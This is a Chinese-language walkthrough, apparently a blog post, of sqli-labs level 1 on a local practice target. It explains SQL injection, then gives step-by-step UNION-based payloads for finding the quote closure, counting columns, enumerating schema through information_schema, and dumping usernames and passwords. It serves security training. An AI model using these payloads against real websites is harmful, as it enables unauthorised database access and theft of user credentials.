目录
sqlilabs靶场第一关
0. sql注入解释
0.1什么是sql注入
0.2sql注入的原理
0.3sql注入方法
0.3.1 数字型注入
0.3.2 字符型注入
1.注入第一步判断请求方式、类型
1.1打开我自己本地的靶场http://sql.com/Less-1/
(上一期靶场搭建:http://t.csdnimg.cn/mzLeq)
1.2.进行手工测试判断有没有sql注入?
1.3 ?id=1
1.4 and 1=1 and1=2
1.5 加单引号
2验证闭合方式
2.1两个单引号
3.确定列数(字段数)
4.使用来和查询确定回显
4.1id=1’union select 1,2,3--+
5.联合查询所有库名
6.联合查询所有security表名字
6.1默认数据库
limit 0,1
group_concat()函数
7.查询users表所有列名
8.查出用户名和密码
sqlilabs靶场第一关
0. sql注入解释
0.1什么是sql注入
sql注入是指web应用程序对用户输入的数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
0.2sql注入的原理
sql注入攻击是通过操作输入来修改sql语句,用以达到执行代码对web服务器进行攻击的方法。简单来说就是在post/get的web表单、输入域名或页面请求的查询字符串中插入sql命令,最终使web服务器执行恶意命令的过程。
0.3sql注入方法
根据输入参数的不同,一般分为数字型注入和字符型注入
0.3.1 数字型注入
判断是否为数字型注入
select * from users where id=1 and 1=2 #sql原句
?id=1 and 1=2 #构造的sql注入语句
判断
数字注入
:
若在GET请求中?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入。
这种数字型注入最多出现在ASP、PHP等弱类型语言中。
0.3.2 字符型注入
字符型注入常见的闭合符类型
’ 单引号
" 、双引号
) 、 括号
') 、 单引号和括号
") 、 双引号和括号
'))单引号和双括号
判断是否为字符型注入:
若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入
select * form users where id=‘$id'/"$id"/等 #sql原句
?id=1' and '1'='2 #构造的sql注入语句
1.注入第一步判断请求方式、类型
1.1打开我自己本地的靶场http://sql.com/Less-1/
(上一期靶场搭建:http://t.csdnimg.cn/mzLeq)
注意:我这里使用的插件是hackbar 详细百度
页面显示welcome Dhakkan( 欢迎dhakkan)
Please inpyt the ID as paramter with numeric value(请以带数值的参数形式输入ID)
由此判断传参方式是get传参(get就是从url进行传参)
1.2.进行手工测试判断有没有sql注入?
(
我有个习惯就算知道是靶场练习也习惯将它当做是一个测试项目来思考)
这是get传参 ?(问号)后面都是用户可控的,一切用户可控的地方都可能存在危害漏洞。
手动输入?id=
一般测试进行下面三种判断
?id=1 and 1=1
?id=1 and 1=2
?id=1' :
若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错,则是字符型注入。
若在GET请求中?id=1 and 1=1没有报错,但是?id=1 and 1=2有异常或没回显,则是数字型注入。
1.3 ?id=1
http://sql.com/Less-1/?id=1
id=1 发现页面正常 --这里id在实战可以其他属性
此说明这个web可以改变id的值直接传入数据库且返回到页面还看出此(信息是敏感的密码信息)
推断做了users表查询
2.1 id=1
1.4 and 1=1 and1=2
and 1=1
and 1=2
结果显示都正常,说明是字符注入,且可能id 值为int型不论数字后面是什么统一取为第一个数字
1.5 加单引号
http://sql.com/Less-1/?id=1
'
id=1'(单引号)页面报错 报错说明服务器没有对单引号进行过滤存在注入
。
下面我们要验证闭合方式,验证处理逃逸id查询就可以使用联合查询出其他表。
2验证闭合方式
2.1两个单引号
http://sql.com/Less-1/?id=1''页面恢复正常
我们知道引号总是成对出现,这样可能是单引号闭合'$id'('1' '')
再次验证注释掉引号看是否正常
id=1' --+ --+就是--空格
结果页面返回正常说明是
单引号闭合下面就可以
利用联合查询注入
3.确定列数(字段数)
使用联合union注入查询要保证前后列名一致需要确定前面列数
使用id=1' order by 1
id=1' order by 2
id=1' order by 3
id=1' order by 4
查看是否返回正常,结果发现1 2 3正常4不正常,确定有3列
id=1' order by 3
id=1' order by 4
4.使用来和查询确定回显
4.1id=1’union select 1,2,3--+
http://sql.com/Less-1/?id=1’union select 1,2,3--+
由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:
http://sql.com/Less-1/?id=-1’union select 1,2,3--+
现在看出2 3都是有回显
5.联合查询所有库名
?id=
-1' union select 1, 2, database() --+
查询出库名为security
6.联合查询所有security表名字
6.1默认数据库
我们知道mysql里面有一个默认库存放在所有数据库名和表名字 字段名
1.information_schema.schemata
所有数据库
列名
:schemata_name
2.information_schema.tables表库
所有数据库
列名
::table_schema 数据库名
table_name表名
3.information_schema.
columns字段表
所有数据库
列名
:
: columns_name
schemata_name table_schema 数据库名
需要查询所有表名需要在information_schema.tables表库
限定条件 table_schma="security"
查询列名:table_name
table_name from information_schema.tables where table_schema=
security limit 0,1
limit 0,1
因为回显只可以出现一行查询所有可以更换0,1 1, 2 2,3 ....
还可以使用
group_concat()函数
将所有结果输出一行
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
7.查询users表所有列名
需要查询所有表名需要在information_schema.columns列名库
限定条件 table_name="users"
查询列名:column_name
group_concat(
column_name) from information_schema.columns where table_schma="security"
语句:d=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name="users" --+
8.查出用户名和密码
通关说明查询出用户名密码在users表里面
username用户名
password密码
需要查询表:user
限定条件 无
查询列名:username,password
?id=-1' union select 1,username,password from users --+
还可以借助limit 输出不同行数据